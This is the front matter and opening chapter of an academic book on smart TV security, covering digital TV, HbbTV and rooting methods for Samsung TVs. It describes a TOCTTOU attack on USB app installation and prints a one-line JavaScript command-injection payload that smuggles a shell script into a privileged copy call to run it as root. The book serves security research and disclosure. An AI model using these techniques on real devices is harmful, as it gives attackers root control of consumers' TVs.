Smart TV Security Media Playback and Digital Video Broadcast

SPRINGER BRIEFS IN COMPUTER SCIENCE
Benjamin Michéle
Smart TV Security
Media Playback
and Digital Video
Broadcast
123
SpringerBriefs in Computer Science
Series editors
Stan Zdonik, Brown University, Providence, USA
Shashi Shekhar, University of Minnesota, Minneapolis, USA
Jonathan Katz, University of Maryland, College Park, USA
Xindong Wu, University of Vermont, Burlington, USA
Lakhmi C. Jain, University of South Australia, Adelaide, Australia
David Padua, University of Illinois Urbana-Champaign, Urbana, USA
Xuemin (Sherman) Shen, University of Waterloo, Waterloo, Canada
Borko Furht, Florida Atlantic University, Boca Raton, USA
V.S. Subrahmanian, University of Maryland, College Park, USA
Martial Hebert, Carnegie Mellon University, Pittsburgh, USA
Katsushi Ikeuchi, University of Tokyo, Tokyo, Japan
Bruno Siciliano, Università di Napoli Federico II, Napoli, Italy
Sushil Jajodia, George Mason University, Fairfax, USA
Newton Lee, Newton Lee Laboratories, LLC, Tujunga, USA
More information about this series at http://www.springer.com/series/10028
Benjamin Michéle
Smart TV Security
Media Playback and Digital Video Broadcast
123
Benjamin Michéle
Security in Telecommunications
Technische Universität Berlin
Berlin
Germany
ISSN 2191-5768 ISSN 2191-5776 (electronic)

SpringerBriefs in Computer Science
ISBN 978-3-319-20993-7 ISBN 978-3-319-20994-4 (eBook)
DOI 10.1007/978-3-319-20994-4
Library of Congress Control Number: 2015954973
Springer Cham Heidelberg New York Dordrecht London

© The Author(s) 2015
This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part
of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations,
recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission
or information storage and retrieval, electronic adaptation, computer software, or by similar or
dissimilar methodology now known or hereafter developed.
The use of general descriptive names, registered names, trademarks, service marks, etc. in this
publication does not imply, even in the absence of a specific statement, that such names are exempt
from the relevant protective laws and regulations and therefore free for general use.
The publisher, the authors and the editors are safe to assume that the advice and information in this
book are believed to be true and accurate at the date of publication. Neither the publisher nor the
authors or the editors give a warranty, express or implied, with respect to the material contained
herein or for any errors or omissions that may have been made.
Printed on acid-free paper
Springer International Publishing AG Switzerland is part of Springer Science+Business Media

(www.springer.com)
To my family, friends, and little universe
Preface
Digital television (DTV) and Smart TVs (STV) have become ubiquitous in many
parts of the world, enabling a wide range of applications. Smart TV security,
however, is still in its infancy and lags behind the security of personal computers.
The combination of DTV and insecure STVs has far-reaching implications for the
privacy of consumers, but also affects broadcasters and vendors.
This book picks up on the current state of research on DTV and STV security,
including novel results from theory and practice. A special focus is on the security of
broadcast-related digital services and the media playback component of STVs. The
book is written to be a useful resource for anyone interested in this field, particularly
students, researchers, and professionals, but also for consumers in general.
Chapter 1 gives an introduction into STV security and presents several attack
vectors. This is followed by Chap. 2, which presents attacks against the media
playback system of STVs. Chapter 3 presents attacks against STVs that are carried
out over the broadcast channel and evaluates their applicability in practice. Finally,
Chap. 4 discusses the implications for consumers, vendors, and broadcasters.
I would like to thank everyone who reviewed the manuscript for their valuable
feedback, especially Alexander Adolf from Condition-ALPHA, but also those who
wished to remain anonymous. Then I would like to thank those responsible at the
HbbTV consortium, the DVB-TM-T group, and also the security team from
Samsung, for having taken these issues seriously, for helpful discussions, and for
the constructive collaboration on improving the security of these systems.
My gratitude goes also to my colleagues and students from TU-Berlin, who have
helped in one way or the other with the research presented in this book. Last but not
least, I would like to thank Prof. Jean-Pierre Seifert from the chair for Security in
Telecommunications at TU Berlin, Oliver Friedrich, and the Helmholtz Research
School on Security Technologies for supporting this work, and also Ronan Nugent
from Springer for his assistance throughout the entire publishing process.
Berlin Benjamin Michéle

June 2015
vii
Contents
1 Digital Television and Smart TVs . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1 Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 Smart TV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.1.2 HbbTV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.1.3 Security and Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.4 Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Architecture. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2.1 Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2.2 Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.3 Successful Attack Vectors . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.3.1 TOCTTOU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.3.2 App Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.3.3 Media Player. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.3.4 UPNP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
1.3.5 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2 Media Playback System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.1 Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.2 Integration. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.2.1 Media Player. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.2.2 Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.3 Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.3.1 Proprietary Player . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.3.2 File Format Identification . . . . . . . . . . . . . . . . . . . . . . . 18
2.3.3 Playback. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.4 Attack Scenarios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.5 Exploitation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.5.1 4xm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.5.2 Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.5.3 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
ix
x Contents
2.6 Discussion. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.6.1 Mitigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.6.2 Disclosure. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.6.3 Affected Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.6.4 Vendor Comparison . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Appendix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3 Broadcast . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.1 Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.2 DVB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.2.1 PSI and SI Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.2.2 Transmission . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.3 HbbTV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.4 Previous Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.4.1 Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.4.2 Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.4.3 Various. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.5 Compromising Smart TV Security via HbbTV . . . . . . . . . . . . . . 44
3.5.1 Smart TV Attack Surface . . . . . . . . . . . . . . . . . . . . . . . 44
3.5.2 Replacing the Regular Broadcast Signal . . . . . . . . . . . . . 46
3.6 PoC Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
3.6.1 Scenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
3.6.2 Regular Signal Acquisition . . . . . . . . . . . . . . . . . . . . . . 52
3.6.3 Transport Stream Modification. . . . . . . . . . . . . . . . . . . . 52
3.6.4 Retransmission . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
3.6.5 Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.6.6 Malicious App. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.6.7 Disclosure and Reaction . . . . . . . . . . . . . . . . . . . . . . . . 56
3.7 Co-channel Protection Ratio . . . . . . . . . . . . . . . . . . . . . . . . . . 56
3.7.1 Measurements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
3.7.2 Attack Range and Controlled Area . . . . . . . . . . . . . . . . . 60
3.7.3 Comparison to Previous Work . . . . . . . . . . . . . . . . . . . . 62
3.7.4 Mush Zone . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.7.5 Variations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
3.8 Cookie Jar Isolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.8.1 Authenticated Request Forgery . . . . . . . . . . . . . . . . . . . 68
3.8.2 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
3.8.3 Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
3.8.4 Side Effects. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Contents xi
3.9 A Novel Protection Scheme. . . . . . . . . . . . . . . . . . . . . . . . . . . 72

3.9.1 Attack Properties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
3.9.2 Lock-Based Protection . . . . . . . . . . . . . . . . . . . . . . . . . 73
3.9.3 Long-Term Solution . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
3.9.4 Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
3.10 Conclusions. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
4 Security & Privacy Implications . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4.1 Consumers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4.1.1 Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4.1.2 Mitigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
4.2 Content Providers. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
4.3 Vendors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
4.3.1 Firmware Updates . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
4.3.2 Exploit Mitigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
4.3.3 Opportunities. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
4.4 Broadcasters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
Acronyms
AIT Application Information Table

ALSA Advanced Linux Sound Architecture
API Application Programming Interface
ASLR Address Space Layout Randomization
A/V Audio/Video
AWGN Additive White Gaussian Noise
BER Bit Error Rate
BPSK Binary PSK
CA Certificate Authority
CCI Co-Channel Interference
CCPR Co-Channel Protection Ratio
C/N Carrier-to-Noise Ratio
COFDM Coded Orthogonal Frequency Division Multiplex
CR Code Rate
DAC Digital-to-Analog Converter
dB Decibel
DBS Direct Broadcast Satellite
DDoS Distributed Denial of Service
DEP Data Execution Prevention
DLNA Digital Living Network Alliance
DBPSK Differential BPSK
DPSK Differential PSK
DRM Digital Rights Management
DSM-CC Digital Storage Media Command and Control
DTV Digital Television
DVB-C DVB-Cable
DVB-S DVB-Satellite
DVB-T DVB-Terrestrial
DVB Digital Video Broadcast
EIRP Equivalent Isotropically Radiated Power
EPG Electronic Program Guide
xiii
xiv Acronyms
ES Elementary Stream
FAT File Allocation Table
FEC Forward Error Correction
FSPL Free-Space Path Loss
GOT Global Offset Table
GSM Global System for Mobile Communications
HPA High Power Amplifier
HbbTV Hybrid Broadcast Broadband Television
IDS Intrusion Detection System
IoT Internet of Things
IP Internet Protocol
IPC Inter-Process Communication
ITV Interactive Television
LNB Low-Noise Block Downconverter
LOS Line of Sight
LPTV Low-Power Television
MFN Multi-Frequency Network
MHP Multimedia Home Platform
MITM Man-in-the-Middle
MHEG Multimedia and Hypermedia Experts Group
MPEG Moving Picture Experts Group
NAT Network Address Translation
NIT Network Information Table
NOP No Operation
OS Operating System
PC Program Counter
PIC Position-Independent Code
PID Packet Identifier
PAT Program Association Table
PES Packetized Elementary Stream
PLE Path Loss Exponent
PLT Procedure Linkage Table
PMT Program Map Table
PoC Proof-of-Concept
PSI Program-Specific Information
PSK Phase-Shift Keying
QAM Quadrature Amplitude Modulation
QEF Quasi Error Free
QPSK Quadrature PSK
ROP Return-Oriented Programming
SDR Software-Defined Radio
SFN Single-Frequency Network
SI Service Information
SoC System on Chip
SP Stack Pointer
Acronyms xv
SSH Secure Shell

SSL Secure Sockets Layer
STB Set-Top Box
STV Smart TV
TCP Transmission Control Protocol
TLS Transport Layer Security
TOCTTOU Time Of Check To Time Of Use
TPS Transmission Parameter Signaling
TS Transport Stream
UDP User Datagram Protocol
UHF Ultra High Frequency
UPnP Universal Plug and Play
URL Uniform Resource Locator
VAST Viewer Access Satellite TV
VHF Very High Frequency
VOD Video on Demand
Chapter 1
Digital Television and Smart TVs
Abstract With the introduction of digital television and Smart TVs, the TV land-
scape has changed radically. Smart TVs feature a variety of digital services, ranging
from video-on-demand services to broadcast-related, interactive applications. This
change has added a lot of complexity to the formerly rather isolated television system.
As a side effect, these connected devices are becoming a target for criminals, threat-
ening the security and privacy of consumers. This work gives insights into several
practical attack vectors, together with experimental results and countermeasures.
1.1 Introduction
For more than half a century, analog cathode ray television sets dominated living
rooms Program transmission was analog using terrestrial, cable, or direct broadcast
satellite (DBS) systems. Around 1995 in Europe, South Africa, and Thailand, the
first major change took place: The introduction of digital TV (DTV). It has been a
great success, and now most countries worldwide have completed the transition from
analog to digital.
This change had far-reaching consequences. The ability to efficiently compress
digital content allowed broadcasters to transmit a multitude of digital programs within
the same bandwidth as previously required for a single analog program. There was
a more fundamental change though: For the first time, it was possible to provide
high-bandwidth digital data services together with the video broadcast.
Multiple attempts were made to offer interactive digital services to the viewer.
But at the time, TVs were still analog and attached set-top boxes did not have the
processing power to execute appealing applications. Furthermore, broadband Internet
was still in its infancy in terms of bandwidth and the availability of a return channel
was the exception. The lack of a common international standard for interactive digital
applications further impeded widespread adoption.
© The Author(s) 2015 1

B. Michéle, Smart TV Security, SpringerBriefs in Computer Science,
DOI 10.1007/978-3-319-20994-4_1
2 1 Digital Television and Smart TVs
1.1.1 Smart TV
Then, with the introduction of LCD display technology not even a decade ago, came
the second great change in the television landscape: The introduction of Smart TVs
(STV). These TVs were more like computers with oversized flat screen displays, and
they had only little resemblance to their ancient cathode ray counterparts. Smart TVs
are powered by an embedded computer, often running Linux, and a custom software
stack on top. They are connected to the Internet and provide a multitude of features.
Year after year their processing power increases, and today’s high-end models are
catching up with modern smart phones. And similarly, the functionality offered by
STVs can be extended by installing apps from an app store.
Given this multitude of features, it is not surprising that not all of them are adopted.
Naturally, the usage pattern of a STV is completely different from that of a PC or
mobile phone. Users tend to engage a lot less with their TVs, a behavior described
as lean back interaction [3], as compared to lean forward interaction with PCs.
The main purpose of a TV has always been the display of media. Besides the
classical linear broadcast program, there is a variety of features and services that allow
users to consume further media. One of the first features introduced on the Smart
TV platform was the playback of media files from attached USB storage. Nowadays,
Smart TVs offer playback from local network servers, video on demand (VOD) from
the Internet, embedded videos on web sites, and much more. All of these services
leverage the internal media playback system, which plays a central role in every
Smart TV.
Every vendor created its own closed STV platform, and therefore apps had to
be developed separately for each brand. In an attempt to change this, the Smart TV
Alliance was founded, offering a common SDK. However, two of the major vendors
did not participate and so the native app development market remained fragmented.
1.1.2 HbbTV
In another attempt to combine interactive applications and the broadcast domain,

the Hybrid Broadcast Broadband TV (HbbTV) [4] initiative was formed in 2009.
As an open, pan-European effort, its members today include broadcasters, satellite
operators, web browser and other software companies, and TV manufacturers. The
specifications build upon open web standards and allow the vendor-agnostic imple-
mentation of apps, as well as means to transport and signal these apps with the
broadcast stream. Users are informed of an HbbTV app’s presence via a red button
popping up in the lower right corner of the screen, on top of the running broadcast
program.
Starting in Germany and France, HbbTV adoption has spread over Europe and is
currently expanding worldwide. A 2014 report [16] on the state of digitalization in
Germany found that the predominant way to use services is via vendor-preinstalled
apps, ranging at almost fifty percent. This is followed by HbbTV apps with roughly
twenty-five percent.
1.1 Introduction 3
1.1.3 Security and Privacy
Smart TVs and digital services have rapidly taken over the vast majority of the TV
market. Development is functionality-driven, constantly resulting in new features
while the market is divided between only a few large STV vendors. The security
of STVs did not have priority formerly, with the sole exception of digital rights
management (DRM) for securing the media contents. The news is full of stories on
privacy issues with Smart TVs, and part of this may also be due to different privacy
expectations around the world.
However, apart from a few publications, there have not been too many incidents
in the past regarding the security of Smart TVs. This can be attributed to a number
of factors, but most importantly, there were no practical ways to gain remote access
and there was not too much to be gained in compromising STVs.
Smart TVs are generally placed in a local (home or corporate) network, hidden
and protected from external access by the network’s NAT gateway. App stores did
not offer useful apps, features lacked usability, and the hardware was slow, which
is why these features were not widely used by consumers. For example, operating
a web browser was much easier on a smart phone than on a STV using its infra-
red remote control. As these features were not used, they could not be exploited by
attackers, either. As another consequence, Smart TVs were not accumulating (access
to) sensitive and important data.
All of this is changing. App stores are gaining momentum, and the usability of
modern STVs is closing in on the latest smart phone generation. Integrated services
such as HbbTV are being adopted rapidly, and VOD services have become a full
success. Users entrust their STVs with login credentials and attach USB storage
containing sensitive files. Some STVs come equipped with built-in cameras and
microphones, which are used for gesture and voice control as well as video calls.
In addition, the number of Smart TVs has increased steadily in recent years.
Approximately every tenth household had a STV connected to the Internet in mid-
2014, an increase by 64 % compared to the preceding year [16]. This development
has lead to a situation where STVs have become valuable targets for criminals.
1.1.4 Threats
In this book, we present two major threats to the security of Smart TVs. Both are able
to circumvent the protection offered by NAT gateways and successfully compromise
the security of STVs in practice.
First, the built-in media playback system, available on nearly every device, across
vendors. This is a complex piece of software, as users expect it to support a variety
of formats and protocols. We demonstrate multiple vulnerabilities in this component
on various STV models, and how they can be exploited from different angles.
Table 1.1 Global LCD TV market share and total unit shipments [7]
Vendor 2011 (%) 2012 (%) 2013 (%) 2014 (%)
Samsung 18.8 20.0 20.5 21.8
LGE 12.0 13.1 13.8 14.2
Sony 9.9 7.4 6.2 6.5
TCL 4.8 5.8 6.5 5.4
Hisense 4.5 4.7 4.7 5.2
Total (M) 205 203 208 223
Second, limitations of the HbbTV standard are examined that allow attackers to
remotely exploit vulnerabilities on STVs via the broadcast signal. We demonstrate
HbbTV-assisted attacks, their limitations, and possible countermeasures.
Most of the experiments were performed on Samsung-branded Smart TVs. The
reason for this choice is the company’s sustained leading market position for STVs
and by no means implies that these devices are more or less secure than devices from
competitors. Samsung scores a 36 % market share in Germany [16]; the global LCD
TV market share [7] is listed in Table 1.1.
1.2 Architecture
Smart TVs are embedded computers, similar to smart phones, with a multitude of
interfaces. A typical STV integrates multiple tuners for DVB-T, DVB-C, and DVB-
S/S2. The following paragraphs describe the hardware of some of the devices used
for the experiments described in this book.
1.2.1 Hardware
The LExxB650 is a mid-range model from Samsung’s 2009 line of devices. It features
a 600 MHz ARMv6 CPU, 292 MB of RAM, and 1 GB of flash memory.
The UExxES7000 is a mid-range to high-end 3D-capable model from Samsung’s
2012 line of devices. It features a 1 GHz dual core ARMv7 Cortex-A9 CPU, 584
MB RAM, and 2 GB eMMC flash memory. In addition, it has a built-in camera and
microphone, as well as Bluetooth and WiFi. Samsung offers to upgrade the processing
hardware and software to the 2013 or 2014 model with its Evolution Kit [14], which
is plugged into the STV and features an ARM QuadCore CPU, 1.5 GB of RAM,
and 4 GB of flash memory. Similar expansion kits are offered for subsequent STV
generations.
1.2 Architecture 5
1.2.2 Software
These STVs are controlled by a large application called exeDSP, which consists
of roughly 300 threads implementing the functionality of the STV. The 2009 and
2012 models run Linux kernel 2.6.18 and 2.6.35, respectively. The Evolution Kit
hardware upgrade requires a software upgrade to the 2013 or 2014 system software,
which uses Linux 3.0.33 and 3.8.2, respectively. Both of the STVs include extensive
media playback functionality and an app runtime, whereas the newer models include a
web browser, too. Starting in 2011, most Samsung STVs include support for HbbTV,
which is described in detail in Chap. 3.
1.3 Successful Attack Vectors
Smart TVs are closed systems. They interact with consumers over a designated user
interface that exposes the STV’s functionality. Access beyond this is not provided by
vendors; on the contrary, vendors undertake significant efforts to prevent users from
accessing and modifying the underlying system.
There are several reasons for this, ranging from liability to content protection. A
user with full system access to the device might inadvertently brick the device, i.e.,
render it useless. This can cause substantial costs for vendors if the devices are under
warranty. Furthermore, bricked devices can be detrimental to the brand.
Content providers are afraid that unrestricted system access to STVs could com-
promise the security of employed DRM systems. If vendors cannot guarantee content
protection on their devices they will eventually lose access to premium content and
thus customers. Some vendors may also fear that their own intellectual property
might be stolen if competitors are given full access to the system.
On the other hand, there are several reasons for users to desire unrestricted access.
STV communities could enhance the system software with additional functionality
and (security-relevant) bug fixes, especially for legacy models (see Sect. 4.3.1). In
addition, users and companies would be given the opportunity to audit the software
running on the STV before connecting it to a potentially trusted network.
On smart phones, there is a similar situation: Functionality is offered to users
via unprivileged apps and users are not granted root, i.e., full access. Root access
can only be gained by circumventing protection mechanisms, often by exploiting
vulnerabilities on the phone. There are various groups that offer these exploits for free
on the Internet. In general, the process of gaining root privileges on an (embedded)
device is called rooting; for Apple’s iPhones it is called jailbreaking.
SamyGo [15] is a forum from and for Samsung STV owners. It offers rooting
methods for a variety of firmware versions on all STV generations. There is also a
lot of information regarding various aspects of Samsung STVs, which has been a
valuable resource for this research. This section gives an overview of various rooting
methods that have been developed over the last few years.
Smart TV
Emulated USB drive

1
1
Benign
2 Selection
Malicious 3 Installation
3
Fig. 1.1 Exploitation of the vulnerable app installation process on Samsung B series: (1) The STV
sequentially reads and verifies all apps on the attached emulated USB drive. The drive monitors file
accesses and replaces the benign file system image with a malicious copy after the apps are read for
the first time. (2) The user chooses the verified benign app. (3) The STV installs the app by copying
the app’s entire folder to internal, trusted storage—from the malicious image
1.3.1 TOCTTOU
Mid-range to high-end Samsung B-series models (2009) feature a Content Library

that allows the installation and execution of unprivileged and privileged apps. The
former are based on Adobe’s Flash format and thus run in a sandbox, whereas the
latter use native code and are run with full privileges. These apps can be installed
from attached USB storage; privileged apps require a valid cryptographic signature
from Samsung.
The installation process is as follows: The STV scans attached USB storage for
apps, verifies signatures on privileged apps, and asks the user to select either an
unprivileged app or a privileged app with a valid signature. The selected app is then
copied to the TV’s internal storage and is hence considered trusted, i.e., apps are
launched without checking signatures anew.
This app installation process is vulnerable to a time-of-check-to-time-of-use
(TOCTTOU) attack, which was published by Mulliner and the author of this
book [13]. First, an unprivileged app is presented during the checking phase, thereby
evading the signature verification. Then—before it is copied to trusted internal
storage—an unsigned privileged app takes its place on the USB storage and is sub-
sequently copied to the trusted internal storage. The entire process is illustrated in
Fig. 1.1.
There are several challenges that have to be mastered for a successful attack: The
relevant files have to be modified without unplugging the USB storage device, file
accesses have to be tracked to determine the correct moment for modification, and
the block cache of the OS has to be bypassed.
1.3 Successful Attack Vectors 7
USB Storage Emulation
The attack requires hardware to emulate a USB device. This is not available on PCs,
which are generally only equipped with USB host ports. There are PCI cards to add
USB device functionality to PCs; alternatively a computer-on-module (COM) such
as the Gumstix Overo Fire COM [5] can be used, in combination with an expansion
board that provides a USB On-The-Go (OTG) interface. USB OTG ports can be
configured to operate in either host or device mode.
The Linux USB gadget API framework allows Linux-based devices to operate
in USB device mode. This can be used to implement USB peripherals, in this case
a USB mass storage device. The framework is extended to track file accesses and
switch between file system images.
File Access Tracking
The data on the emulating storage device is addressed by block numbers (sectors),
not file names. To track file accesses, sectors need to be mapped to file names in real-
time. File systems, however, are generally designed to map file names to sectors, not
the other way around.
FAT File systems such as FAT16 and FAT32 divide the available storage space into
clusters, which in turn consist of several sectors. Every cluster belongs to a file
or directory. The first cluster in the data area contains (part of) the root directory.
Clusters belonging to files store the file’s data, whereas a directory’s cluster(s) store(s)
information on the files and subdirectories contained in the directory. The most
important information contained is the name, type (file or directory), start cluster,
and file size. Cluster allocations are managed by the File Allocation Table (FAT).
Every cluster has an associated entry in the FAT. It indicates if the cluster is free or
occupied, in which case it may indicate the number of the next cluster containing
data, thereby forming a linked list of clusters containing a file’s data.
Mapping The goal is to monitor file accesses in real-time to be able to modify files
when certain conditions are met, for example, after a specific file was read completely.
This requires the emulated storage device to map block requests to files by parsing
the file system. A straightforward approach is to walk through the entire directory
hierarchy in search of the file associated with the requested sector. Without further
optimizations, the complexity of this search is linear in the total number of occupied
clusters. This can be optimized by using a FAT image without fragmentation: The
cluster numbers of each file increase strictly monotone, which results in a complexity
that is linear in the number of files. An app consists only of a few files, which makes
the search algorithm sufficiently fast to perform real-time file access monitoring.
Listing 1.1 FAT parser output during app install [13]

1 12:07:43 TOCTTOU ( DIR )
2 12:07:43 C L M E T A . DAT (471 b ) [/ T O C T T O U ]
3 12:07:43 C L M E T A . DAT -> read c o m p l e t e d ! [ 1 / 2 ]
4 12:07:43 CACHE ( DIR )
5 12:07:43 C L M E T A . DAT ( 2 7 2 6 3 0 2 2 3 b ) [/ C A C H E ]
6 12:08:15 C L M E T A . DAT -> read c o m p l e t e d ! [ 2 / 2 ] [ i m a g e s w i t c h e d !]
7 12:08:21 C A C H E . BMP ( 8 4 3 7 5 8 b ) [/ C A C H E ]
8 12:08:21 C A C H E . BMP -> read c o m p l e t e d !
9 12:08:21 TOCTTOU ( DIR )
10 12:08:21 TOCTTOU ( DIR )
11 12:08:21 T O C T T O U . BMP ( 4 9 0 7 3 4 b ) [/ T O C T T O U ]
12 12:08:22 T O C T T O U . BMP -> read c o m p l e t e d !
13 12:08:36 TELNETD ( 1 7 4 5 0 1 6 b ) [/ T O C T T O U ]
14 12:08:36 TELNETD -> read c o m p l e t e d !
15 12:08:37 T O C T T O U . SO ( 4 6 0 8 b ) [/ T O C T T O U ]
16 12:08:37 T O C T T O U . SO -> read c o m p l e t e d !
17 12:08:37 C L M E T A . DAT (471 b ) [/ T O C T T O U ]
18 12:08:37 C L M E T A . DAT -> read c o m p l e t e d ! [ 3 / 2 ]
Block Cache Bypass
All block reads go through the operating system’s block cache, which uses a part of
the system’s Random Access Memory (RAM). If the same block is read repeatedly,
it is served from the block cache instead of the mass storage, which is orders of
magnitude faster. For the attack to succeed, the block cache has to be bypassed;
otherwise the modified app is not read from the emulated mass storage again. One
way to achieve this is by forcing the app installer to read another large file after
the app has been checked and before it is copied to trusted storage. This evicts the
relevant block cache entries.
Attack on Samsung B-Series
Apps are organized in folders and consist of several files: A bitmap file used as the
app icon, the application code, and a metadata file clmeta.dat that contains the
app’s name and—most importantly—category. The category determines the app’s
type and thus privilege; only Games use native code and are thus contained in a
shared object file. Apps from all other categories use Adobe Flash-based files and
are thus run in a sandbox.
Listing 1.1 shows the output of the storage module’s FAT parser during a suc-
cessful TOCTTOU attack. To launch the attack, the installer is presented with a
clmeta.dat indicating an app of the category Wellness, which is always unpriv-
ileged (lines 1–3). The installer proceeds to analyze a second (dummy) app containing
a clmeta.dat that is padded with white space to increase its size and thus evict
the STV’s block cache entry for the first (important) clmeta.dat (lines 4–6).
Reading the dummy clmeta.dat from the emulated mass storage device is
the trigger to switch the underlying file system image (line 6). The new image con-
tains a clmeta.dat indicating an app of the category Games. The entire folder
is then copied to the STV’s trusted internal storage (lines 10–18). For every subse-
quent invocation of the app, clmeta.dat is read from the internal storage and—as
it indicates the category Games—the corresponding user-supplied native code is
executed, which in this case provides a root shell.
1.3.2 App Installation
More recent Samsung STVs allow the installation of apps from Samsung’s app
store, or alternatively from a user-provided web server or USB drive. Installation and
execution of these apps is controlled from within the SmartHub. To aid development
of apps, users can log in to the SmartHub using a generic develop account and
associate it to a web server of their choice. Apps that are present on this web server
are then synchronized to the STV and installed permanently.
These apps are written in HTML and JavaScript and may use an API provided
by the SmartHub runtime. This API provides access to various STV functions, some
of which are privileged. The use of these privileged functions requires the app to
be signed by Samsung. During the installation process, the app’s JavaScript code is
searched for privileged instructions to determine if a signature is required. Privileged
API calls, however, can be dynamically constructed during runtime with the help of
the JavaScript eval function, thereby evading the analysis.
One of the privileged API calls is FilePlugin.Copy(source,desti-
nation), which copies a directory by invoking the cp command in a new shell. The
source and destination parameters are controlled by the caller and passed through to
the shell unescaped, thus inadvertently allowing the app author to inject commands
that are executed as root. The parameters must not contain any of the characters
[;’&|], which is, however, insufficient to protect against command injections. A
STV can thus be rooted by installing and executing an app that issues the following
JavaScript command—a method we used to gain access to E-series (2012) STVs
[9, 12]:
1 eval (" F i l e P l u g i n . Copy (\"\ $ ( sh / dtv / usb / s d a 1 / s c r i p t . sh ) ,\"\") ") ;
1.3.3 Media Player
Smart TVs implement media playback functionality, which processes untrusted user
input—media files. Vulnerabilities in this code can be exploited to root STVs. On
